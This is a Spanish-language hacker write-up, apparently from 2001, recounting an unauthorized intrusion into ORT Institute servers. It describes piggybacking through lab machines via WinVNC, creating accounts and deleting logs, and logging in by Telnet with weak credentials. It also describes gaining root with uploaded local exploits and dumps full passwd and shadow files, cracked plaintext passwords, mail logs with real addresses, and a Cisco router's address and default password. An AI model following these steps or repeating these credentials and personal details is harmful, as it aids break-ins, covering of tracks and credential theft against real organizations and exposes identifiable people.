Directory of c:\WINNT\system32\Repl\Export\Scripts

13/09/99 16:39 860 MensEsc.txt
1 File(s) 860 bytes

Directory of c:\WINNT\system32\Repl\Import\Scripts

13/09/99 16:39 860 MensEsc.txt
1 File(s) 860 bytes

Directory of c:\WINNT\system32\setup

02/06/97 06:02 33 readme.txt
10/11/97 15:19 3.408 unattend.txt
2 File(s) 3.441 bytes

Total Files Listed:
144 File(s) 2.954.735 bytes
1.242.369.536 bytes free
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Thu, 12 Jul 2001 01:22:44 GMT
Content-Type: application/octet-stream
Volume in drive E is Alumnos
Volume Serial Number is 08AC-B031

Directory of e:\mails\mails

11/07/01 08:34 <DIR> .
11/07/01 08:34 <DIR> ..
07/05/01 12:39 288 0507123915.txt
07/05/01 14:02 193 0507140216.txt
09/05/01 15:25 221 0509152506.txt
10/05/01 11:18 192 0510111828.txt
10/05/01 12:04 256 0510120433.txt
05/06/01 15:30 168 0605153058.txt
13/06/01 10:03 167 0613100341.txt
21/06/01 13:01 192 0621130148.txt
21/06/01 13:08 385 0621130857.txt
25/06/01 15:38 157 0625153805.txt
02/07/01 09:46 217 0702094653.txt
02/07/01 12:45 205 0702124550.txt
10/07/01 16:45 147 0710164544.txt
10/07/01 17:21 127 0710172144.txt
11/07/01 08:34 154 0711083440.txt
17 File(s) 3.069 bytes
1.169.285.120 bytes free

 

esos emails tenían boludeces

después de descubrí que este server pericles también tenia el winvnc instalado con la misma pass que la del proxy de internet. "proydesa" en este caso me conecte usando un "puente" con otra maquina (instale el winvnc en otra terminal que estaba en la otra punta del laboratorio, y me fui a otra y de esa me conecte y   de ahi a pericles) osea :

esto lo hice ya que en ese momento el admin estaba dando vueltas por ahí

otra vez la maquina estaba bloqueada hasta que después el admin hizo el login y prendió el sql 6.5

 

una vez que logra entrar hice la rutina de siempre crearme una cuenta borrar logs etc. ahh y además ahora este server comparte recursos a full para todos los usuarios y pude ver los directorios y bajarme algunos archivos del disco d:

 pericles disk d:

también el famoso sam._ y un montón de archivos word como este  dato

otros server que rondaban por ahí

también examine otros servers como merlina 10.4.1.252 con netbios activado:

Recursos compartidos en \\MERLINA

Nombre compartidoEscribir Comentario
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Admision Disco
CAdmin Disco
CD-Rom Disco ENCARTA 96
CLIENTS Disco Clientes de Red
Curso Disco
DAdmin Disco
EAdmin Disco Admision, TM, Quintos
Encarta Disco
FAdmin Disco
Imag Disco
NETLOGON Disco Logon server share
PFinal Disco Proyecto Final 2001 (profes)
rcty Disco
Software Disco Software para Instalar
VPHOME Disco Virus Protect
VPLOGON Disco Virus Protect
El comando se complet¢ correctamente.

de repente note que había un prendido un linux sombrero rojo 6.2 (10.4.1.247) se llamaba Flanders


 

10.4.1.247  [ FLANDERS ]   ( Linux - RedHat )

 
  IP Address : 10.4.1.247
  HostName : FLANDERS
  MAC : 00-00-00-00-00-00 (probably Dial-Up)
  UserName : FLANDERS
  LAN Manager : Samba 2.0.7
  Domain : MYGROUP
  Operating System : Linux - RedHat
  Time to live (TTL) : 255 (255) - Same network segment

  NETBIOS names (7)     
  FLANDERS  -  Workstation Service     
   FLANDERS  -  Messenger Service     
   FLANDERS  -  File Server Service     
   __MSBROWSE__  -  Master Browser     
   MYGROUP  -  Domain Name     
   MYGROUP  -  Master Browser     
   MYGROUP  -  Browser Service Elections

 Shares (1)     
     
IPC$  - IPC Service (Samba Server)   

  Open Ports (6)    
       21 [ Ftp => File Transfer Protocol ]
   
       23 [ Telnet => Remote Login Protocol ]
   
              
       80 [ Http => World Wide Web, HTTP ]
   
             HTTP/1.1 200 OK
   
             Date: Wed, 21 Nov 2001 22:46:15 GMT
   
             Server: Apache/1.3.19 (Unix) (Red-Hat/Linux) mod_ssl/2.8.1 OpenSSL/0.9.6 DAV/1.0.2 PHP/4.0.4pl1 mod_perl/1.24_01
   
             Last-Modified: Thu, 29 Mar 2001 17:53:01 GMT
   
             ETag: "31eee-b4a-3ac3767d"
   
             Accept-Ranges: bytes
   
             Content-Length: 2890
   
             Connection: close
   
             Content-Type: text/html
   
      111 [ SunRPC => SUN Remote Procedure Call ]
   
            portmapper, Ver : 2, Proto : TCP, Port : 111
   
             portmapper, Ver : 2, Proto : UDP, Port : 111
   
             status, Ver : 1, Proto : UDP, Port : 1024
   
             status, Ver : 1, Proto : TCP, Port : 1024
   
      139 [ Netbios-ssn => NETBIOS Session Service ]
   
     443 [ HttpS => Secure HTTP ]

 

Este linux estaba instalado pelado sin ningún parche

me loguie al puerto 23 con user caa01 y pass caa01 y comencé a investigar:

cat .bash_history

File: .bash_history Col 0 13757 bytes 2%
ls
cd /etc/rc.d/init.d/
./httpd restart
cd ..
eject
id
who am i
exit
who
pstree -p |more
vi etc/httpd/conf/httpd.conf
cd /etc
cd httpd
cd conf
ls
vi httpd.conf
cd ..
cd rc.d
cd ..
cd rc.d
cd init.d
ls

cat etc/passwd

 

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/adm:

lp:x:4:7:lp:/var/spool/lpd:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:

news:x:9:13:news:/var/spool/news:

uucp:x:10:14:uucp:/var/spool/uucp:

operator:x:11:0:operator:/root:

games:x:12:100:games:/usr/games:

gopher:x:13:30:gopher:/usr/lib/gopher-data:

ftp:x:14:50:FTP User:/home/ftp:

nobody:x:99:99:Nobody:/:

gdm:x:42:42::/home/gdm:/bin/bash

postgres:x:100:233:PostgreSQL Server:/var/lib/pgsql:/bin/bash

xfs:x:101:234:X Font Server:/etc/X11/fs:/bin/false

curso1:x:1057:200:Curso 1,,,:/home/curso1:/bin/bash

curso2:x:1058:200:Curso 2,,,:/home/curso2:/bin/bash

curso3:x:1059:200:Curso 3,,,:/home/curso3:/bin/bash

curso4:x:1060:200:Curso 4,,,:/home/curso4:/bin/bash

curso5:x:1061:200:Curso 5,,,:/home/curso5:/bin/bash

curso6:x:1062:200:Curso 6,,,:/home/curso6:/bin/bash

curso7:x:1063:200:Curso 7,,,:/home/curso7:/bin/bash

curso8:x:1064:200:Curso 8,,,:/home/curso8:/bin/bash

curso9:x:1065:200:Curso 9,,,:/home/curso9:/bin/bash

curso10:x:1066:200:Curso 10,,,:/home/curso10:/bin/bash

curso11:x:1067:200:Curso 11,,,:/home/curso11:/bin/bash

curso12:x:1068:200:Curso 12,,,:/home/curso12:/bin/bash

curso13:x:1069:200:Curso 13,,,:/home/curso13:/bin/bash

curso14:x:1070:200:Curso 14,,,:/home/curso14:/bin/bash

curso15:x:1071:200:Curso 15,,,:/home/curso15:/bin/bash

curso16:x:1072:200:Curso 16,,,:/home/curso16:/bin/bash

curso17:x:1073:200:Curso 17,,,:/home/curso17:/bin/bash

curso18:x:1074:200:Curso 18,,,:/home/curso18:/bin/bash

curso19:x:1075:200:Curso 19,,,:/home/curso19:/bin/bash

curso20:x:1076:200:Curso 20,,,:/home/curso20:/bin/bash

curso21:x:1077:200:Curso 21,,,:/home/curso21:/bin/bash

curso22:x:1078:200:Curso 22,,,:/home/curso22:/bin/bash

curso23:x:1079:200:Curso 23,,,:/home/curso23:/bin/bash

curso24:x:1080:200:Curso 24,,,:/home/curso24:/bin/bash

caa01:x:1081:1081::/home/caa01:/bin/bash

caa02:x:1082:1082::/home/caa02:/bin/bash

caa03:x:1083:1083::/home/caa03:/bin/bash

caa04:x:1084:1084::/home/caa04:/bin/bash

caa05:x:1085:1085::/home/caa05:/bin/bash

caa06:x:1086:1086::/home/caa06:/bin/bash

caa07:x:1087:1087::/home/caa07:/bin/bash

caa08:x:1088:1088::/home/caa08:/bin/bash

caa09:x:1089:1089::/home/caa09:/bin/bash

caa32:x:0:0::/home/caa32:/bin/bash

steve:x:1090:1090::/home/steve:/bin/bash

cab01:x:1091:1091::/home/cab01:/bin/bash

cab012:x:1092:1092::/home/cab012:/bin/bash

cab02:x:1093:1093::/home/cab02:/bin/bash

cab03:x:1094:1094::/home/cab03:/bin/bash

cab04:x:1095:1095::/home/cab04:/bin/bash

cab05:x:1096:1096::/home/cab05:/bin/bash

cab06:x:1097:1097::/home/cab06:/bin/bash

cab07:x:1098:1098::/home/cab07:/bin/bash

cab08:x:1099:1099::/home/cab08:/bin/bash

cab09:x:1100:1100::/home/cab09:/bin/bash

stv:x:0:0::/home/stv:/bin/bash

fabian:x:1101:1101::/home/fabian:/bin/bash

fabiansu:x:0:0::/home/fabiansu:/bin/bash

caa:x:1102:1102::/home/caa:/bin/bash

secund:x:1103:1103::/home/secund:/bin/bash

secundb:x:1104:1104::/home/secundb:/bin/bash

fernando:x:1105:1105:Fernando:/home/fernando:/bin/bash

hugo:x:0:0::/home/hugo:/bin/bash

este linux lo usaban los alumnos para que mediante php muevan una base de datos en postgressql desde la web

lograr el famoso root fue una pavado subí con ftp el exploit de cronexpl y listo aquí están las pass encriptadaS

 

root:$1$LtWXXqGe$zU.mMR9JjCDlJWarO83Ck1:11479:0:99999:7:-1:-1:134538460

bin:*:11208:0:99999:7:::

daemon:*:11208:0:99999:7:::

adm:*:11208:0:99999:7:::

lp:*:11208:0:99999:7:::

sync:*:11208:0:99999:7:::

shutdown:*:11208:0:99999:7:::

halt:*:11208:0:99999:7:::

mail:*:11208:0:99999:7:::

news:*:11208:0:99999:7:::

uucp:*:11208:0:99999:7:::

operator:*:11208:0:99999:7:::

games:*:11208:0:99999:7:::

gopher:*:11208:0:99999:7:::

ftp:*:11208:0:99999:7:::

nobody:*:11208:0:99999:7:::

gdm:!!:11208:0:99999:7:::

postgres:!!:11208:0:99999:7:::

xfs:!!:11208:0:99999:7:::

curso1:$1$t5PGI3Fp$8PB.9TFwAdGMAHUK6lc5O0:11208:0:99999:7:-1:-1:134538452

curso4:$1$bvoNfjyf$47Mhz2FUFtIZcC5OoKMjd1:11215:0:99999:7:-1:-1:134538468

curso2:$1$hSDTxgwv$GVcbupjaiyFiQZpb3NbKa0:11274:0:99999:7:-1:-1:134538468

curso3:$1$FeDv9zv0$s3FOsz0Y.BpaF9mOaOoHs1:11215:0:99999:7:-1:-1:134538468

curso5:$1$T3zKj8k/$VfzpeE1deSzAlrGh4Ci2u1:11274:0:99999:7:-1:-1:134538468

curso6:$1$kubxth.5$VYBJHOBy7KLImJzeDuWWG1:11240:0:99999:7:-1:-1:134537732

curso7:$1$JFTooI2c$75TI1yxEX1E.RWm/z.CsG/:11214:0:99999:7:-1:-1:134538468

curso8:$1$mKT1D.fX$bkK4IYFlrGoakmMtfzkN0/:11214:0:99999:7:-1:-1:134538468

curso9:$1$cwGW6lcF$tUHS3lOi3s6dtJiJpqcKg/:11214:0:99999:7:-1:-1:134538468

curso10:$1$O3HlC7on$B0DFdP/9HwJul048xYs1o/:11214:0:99999:7:-1:-1:134538468

curso11:$1$wSd8ShyT$vAjx1sauuAtS.UQ6Kh7d40:11277:0:99999:7:-1:-1:134538468

curso12:$1$kslEtT0r$MJhxRLCieDIvK53.nl6Ll0:11277:0:99999:7:-1:-1:134538468

curso13:$1$l5W5bbkb$LCP2rteKNNg1DvzzKWvdG.:11214:0:99999:7:-1:-1:134538452

curso14:$1$FQLpENmC$OZoHP68lHtq0Bi3N6FOv11:11277:0:99999:7:-1:-1:134538468

curso15:$1$DcZmaNNc$/mYBd8UUUchcvG2dXwS1e1:11222:0:99999:7:-1:-1:134538468

curso16:$1$.Dl9kRrc$ruRYCFlA2.vEVNUP4p28c.:11214:0:99999:7:-1:-1:134538468

curso17:$1$FJSNdVA4$1y83bI5OHoRFhULRO5i6L1:11215:0:99999:7:-1:-1:134538468

curso18:$1$evUWFgUw$BdR9/5SSEPm4Ujc0Lso8g/:11214:0:99999:7:-1:-1:134538452

curso19:$1$rofThYcD$cO8QjgoGom6i9L4uxZEpr/:11214:0:99999:7:-1:-1:134538452

curso20:$1$mL9ph5gH$7u01v73OaUvk.wKQhnGgv/:11214:0:99999:7:-1:-1:134538452

curso21:$1$1WQVBZM2$QVwv5aqvR.UTg2fUL8hcP/:11214:0:99999:7:-1:-1:134538468

curso22:$1$vfXiPE0H$RLvigBjXPycMtAERv4tRO/:11214:0:99999:7:-1:-1:134537732

curso23:$1$repmFzKw$Q/Un9d/jLEZiCh4nwWzT7.:11240:0:99999:7:-1:-1:134537732

curso24:$1$RK8N6lud$wrw7v0vHHmnm435zL3uku0:11214:0:99999:7:-1:-1:134538468

caa01:$1$Q6dX.rM9$drdcOU.bHni3qaCM2xr430:11409:0:99999:7:-1:-1:134537364

caa02:$1$HYT3vmvO$HyxkVQml4poAXJpqZ0nSR/:11233:0:99999:7:-1:-1:134537700

caa03:$1$PilU4.if$3ufuOtu29oUMjMsMwNYXo0:11235:0:99999:7:-1:-1:134537700

caa04:$1$CT0f7SyZ$Nr761bCMDOaY.NnIVfjAA0:11255:0:99999:7:-1:-1:134537700

caa05:$1$HW/9Qu2g$l7hd/XY94O.Vp7mpt/Zou0:11213:0:99999:7:-1:-1:134537332

caa06:$1$sqPPV0FI$y0p.tlp4ncER1yigMorTX1:11213:0:99999:7:-1:-1:134537332

caa07:$1$JyrD7jsz$UM0B6Oq18SATE7r48RvoR/:11213:0:99999:7:-1:-1:134537332

caa08:$1$t5AaMrQ3$yAfW8ojqGOJ2dQjmM11ts/:11213:0:99999:7:-1:-1:134537332

caa09:$1$Uo58iNaU$jtM/kl0.egpGh9J06/1x/0:11213:0:99999:7:-1:-1:134537332

steve:$1$c8Lh2OIk$1y9mKnqjfVF.jh6kfvNwJ1:11409:0:99999:7:-1:-1:134538460

cab01:$1$wOdcYPq8$Z6wzJ3S/53lBtvF2r5zYf.:11213:0:99999:7:-1:-1:134537332

cab012:!!:11213:0:99999:7:::

cab02:$1$Qp33JIPu$W2pc2VDGHi/Gag0OsqQgP0:11213:0:99999:7:-1:-1:134537332

cab03:$1$piFd12xV$5llzu81hmC/QgTerBA4Jp.:11213:0:99999:7:-1:-1:134537332

cab04:$1$0.Dwxkb0$v9BUViB1A4qcTxbMCi.K10:11213:0:99999:7:-1:-1:134537332

cab05:$1$CIaFTDY3$aEwK2eOAETvz0f4caf543/:11226:0:99999:7:-1:-1:134537700

cab06:$1$xLedc5eX$uRTlYbPruyj3I34gPLaBL1:11232:0:99999:7:-1:-1:134537700

cab07:$1$SjTsJHE7$xhXtIJrcy3icCafepIDND.:11213:0:99999:7:-1:-1:134537332

cab08:$1$W22JGBuk$KOa0fAmgKRFZgeJ6zJ/W//:11213:0:99999:7:-1:-1:134537332

cab09:$1$IoxB3Uvd$m.6rp9f95HR.sb3xj.iqw0:11213:0:99999:7:-1:-1:134537332

stv:$1$PhWyG6Xz$7eFezbrpnEPY1IgUr5wve1:11479:0:99999:7:-1:-1:134538460

caa32:!!:11220:0:99999:7:::

fabian:$1$bejoaSUu$.HfW34MV/xRK9VuYcxnUd/:11256:0:99999:7:-1:-1:134538436

fabiansu:$1$qANspyV0$WyHDwtNPEZI2zkov1MiK0.:11256:0:99999:7:-1:-1:134538436

caa:$1$GZIE.nSc$raINjrl6NhvVjTI9saAqK.:11262:0:99999:7:-1:-1:134537332

secund:$1$urTIpnhd$zYSlNq8mBGfKClrRul1Vo0:11268:0:99999:7:-1:-1:134538436

secundb:!!:11271:0:99999:7:::

fernando:$1$4BvUhfvV$EXf0p3ImfkV1GbTqURE5./:11276:-1:99999:-1:-1:-1:134538468

hugo:$1$DrL5bvk2$7krlnU0MMzLnjApvCVWfL1:11464:0:99999:7:-1:-1:134538412

julieta:$1$uGhaywMY$dRj0khbNWcAet9up0MEYi0:11480:-1:99999:-1:-1:-1:135535004

LA CONTRASEÑA DEL ROOT ERA: judith0
LA CONTRASEÑA DE FABIANG ERA:  fabian

LA DE  STV ERA: stephen1

PERDIENDO EL CONTROL

este linux lo mantuve hasta que actualizaron al redhat 7.1 seawolf pero después lo volví a owniar con el exploit del manxpl

por ultimo en server no había nada interesante . aquí encontré algunos logs de mails

48:12 mail sendmail[22591]: f7OH4Ux31127: to=<sermayo@alternativagratis.com.ar>, delay=1+14:43:42, xdelay=00:00:00, mailer=esmtp, pri=7729985, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.

Aug 26 04:49:12 mail sendmail[22591]: f7ME7KZ19544: to=<d_topo@holmail.com>, ctladdr=<dtopo@ort.edu.ar> (1033/231), delay=3+17:41:51, xdelay=00:01:00, mailer=esmtp, pri=8220330, relay=holmail.com. [216.102.246.27], dsn=4.0.0, stat=Deferred: Connection timed out with holmail.com.

Aug 26 04:49:12 mail sendmail[22591]: f7NFHOx07191: to=<sermayo@alternativagratis.com.ar>, delay=2+16:31:48, xdelay=00:00:00, mailer=esmtp, pri=10040958, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.

Aug 26 05:08:12 mail sendmail[22648]: f7Q88Bx22648: from=<Titulares@lanacionline.com.ar>, size=26450, class=0, nrcpts=1, msgid=<2550e01c12e07$c2768300$04883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136004.metrored.net.ar [200.59.136.4]

Aug 26 05:08:12 mail sendmail[22651]: f7Q88Cx22651: from=<Titulares@lanacionline.com.ar>, size=4511, class=0, nrcpts=1, msgid=<2551401c12e07$c290c1c0$04883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136004.metrored.net.ar [200.59.136.4]

Aug 26 05:08:12 mail sendmail[22649]: f7Q88Bx22648: to=<jfrydman@ort.edu.ar>, delay=00:00:01, xdelay=00:00:00, mailer=local, pri=55681, dsn=2.0.0, stat=Sent

Aug 26 05:08:13 mail sendmail[22668]: f7Q88Cx22651: to=<lmelamed@ort.edu.ar>, delay=00:00:01, xdelay=00:00:00, mailer=local, pri=33740, dsn=2.0.0, stat=Sent

Aug 26 05:08:13 mail sendmail[22669]: f7Q88Dx22669: from=<Titulares@lanacionline.com.ar>, size=4509, class=0, nrcpts=1, msgid=<2551501c12e07$c2a64590$04883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136004.metrored.net.ar [200.59.136.4]

Aug 26 05:08:13 mail sendmail[22671]: f7Q88Dx22669: to=<ssava@ort.edu.ar>, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=33740, dsn=2.0.0, stat=Sent

Aug 26 05:17:43 mail sendmail[22694]: f7Q8Hhx22694: from=<comentarios@banelco.com.ar>, size=3990, class=0, nrcpts=1, msgid=<200108260817.f7Q8Hhx22694@ort.edu.ar>, proto=SMTP, daemon=MTA, relay=[200.32.84.243]

Aug 26 05:17:43 mail sendmail[22695]: f7Q8Hhx22694: to=<owais@ort.edu.ar>, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=33620, dsn=2.0.0, stat=Sent

Aug 26 05:20:33 mail sendmail[22706]: f7Q8KXx22706: from=<Titulares@lanacionline.com.ar>, size=3768, class=0, nrcpts=1, msgid=<152b101c12e09$7542cce0$07883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136010.metrored.net.ar [200.59.136.10]

Aug 26 05:20:34 mail sendmail[22707]: f7Q8KXx22706: to=<lmelamed@ort.edu.ar>, delay=00:00:01, xdelay=00:00:00, mailer=local, pri=32978, dsn=2.0.0, stat=Sent

Aug 26 05:21:24 mail sendmail[22712]: f7Q8LOx22712: from=<Titulares@lanacionline.com.ar>, size=3305, class=0, nrcpts=1, msgid=<caa501c12e09$9ad861e0$04883bc8@lanacion.net.ar>, proto=ESMTP, daemon=MTA, relay=host136004.metrored.net.ar [200.59.136.4]

Aug 26 05:21:24 mail sendmail[22713]: f7Q8LOx22712: to=<lmelamed@ort.edu.ar>, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=32508, dsn=2.0.0, stat=Sent

Aug 26 05:34:28 mail sendmail[22744]: f7Q8Y8x22744: from=<MoriaB@jazo.org.il>, size=188185, class=0, nrcpts=1, msgid=<5E8E4E6EB38AD511804000508BBD47312D114B@EOFFICE>, proto=ESMTP, daemon=MTA, relay=server.jazo.org.il [194.90.65.90]

Aug 26 05:34:28 mail sendmail[22745]: f7Q8Y8x22744: to=<adrian@ort.edu.ar>, delay=00:00:18, xdelay=00:00:00, mailer=local, pri=217454, dsn=2.0.0, stat=Sent

Aug 26 05:48:11 mail sendmail[22773]: f7NEX4x04403: to=<sermayo@alternativagratis.com.ar>, delay=2+18:15:02, xdelay=00:01:00, mailer=esmtp, pri=6170295, relay=mail.alternativagratis.com. [200.41.125.36], dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.

Aug 26 05:48:11 mail sendmail[22773]: f7NDRTx23084: to=<sermayo@alternativagratis.com.ar>, delay=2+19:20:41, xdelay=00:00:00, mailer=esmtp, pri=6258987, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.

Aug 26 05:48:11 mail sendmail[22773]: f7OH4Ux31127: to=<sermayo@alternativagratis.com.ar>, delay=1+15:43:41, xdelay=00:00:00, mailer=esmtp, pri=7819985, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.

Aug 26 05:49:12 mail sendmail[22773]: f7ME7KZ19544: to=<d_topo@holmail.com>, ctladdr=<dtopo@ort.edu.ar> (1033/231), delay=3+18:41:51, xdelay=00:01:01, mailer=esmtp, pri=8310330, relay=holmail.com. [216.102.246.27], dsn=4.0.0, stat=Deferred: Connection timed out with holmail.com.

Aug 26 05:49:12 mail sendmail[22773]: f7NFHOx07191: to=<sermayo@alternativagratis.com.ar>, delay=2+17:31:48, xdelay=00:00:00, mailer=esmtp, pri=10130958, relay=mail.alternativagratis.com., dsn=4.0.0, stat=Deferred: Connection timed out with mail.alternativagratis.com.

Aug 26 06:12:01 mail sendmail[22838]: f7Q9C0x22838: from=<pablo_bondi@hotmail.com>, size=725, class=0, nrcpts=1, msgid=<F1094CxpAOAkK5LqN33000124c3@hotmail.com>, proto=ESMTP, daemon=MTA, relay=f109.law7.hotmail.com [216.33.237.109]

Aug 26 06:12:01 mail sendmail[22841]: f7Q9C0x22838: to=flor, delay=00:00:01, xdelay=00:00:00, mailer=local, pri=30159, dsn=2.0.0, stat=Sent

Aug 26 06:15:04 mail

 

Conclusión: Pense que había techito

        Como ven quedo demostrado que el instituto de tecnología o.r.t es vulnerable..  También quería agregar que encontre un router cisco 200.41.61.233  con el puerto 23 y 79 abierto que tenia un fallo de buffer overflow. el pass era cisco

 IP Address : 200.41.61.233
HostName : ort-yatay.impsat.net.ar
Operating System : Cisco 1601
 Time to live (TTL) : 253 (255) - 2 hop(s) away


 SNMP info (system)    
 sysDescr : Cisco Internetwork Operating System Software IOS (tm) 1600 Software (C1600-SY-L), Version 11.3(5), RELEASE SOFTWARE (fc1) Copyright (c) 1986-1998 by cisco Systems, Inc. Compiled Tue 11-Aug-98 02:24 by phanguye    
 sysUpTime : 46 days, 2 hours, 23 minutes, 12 seconds    
 sysName : ort-yatay.impsat.net.ar    
 Object ID : 1.3.6.1.4.1.9.1.113 (Cisco 1601)    
 Vendor : cisco

________________________________________________________________________________________________________________

Written by gordian_knot from aisle.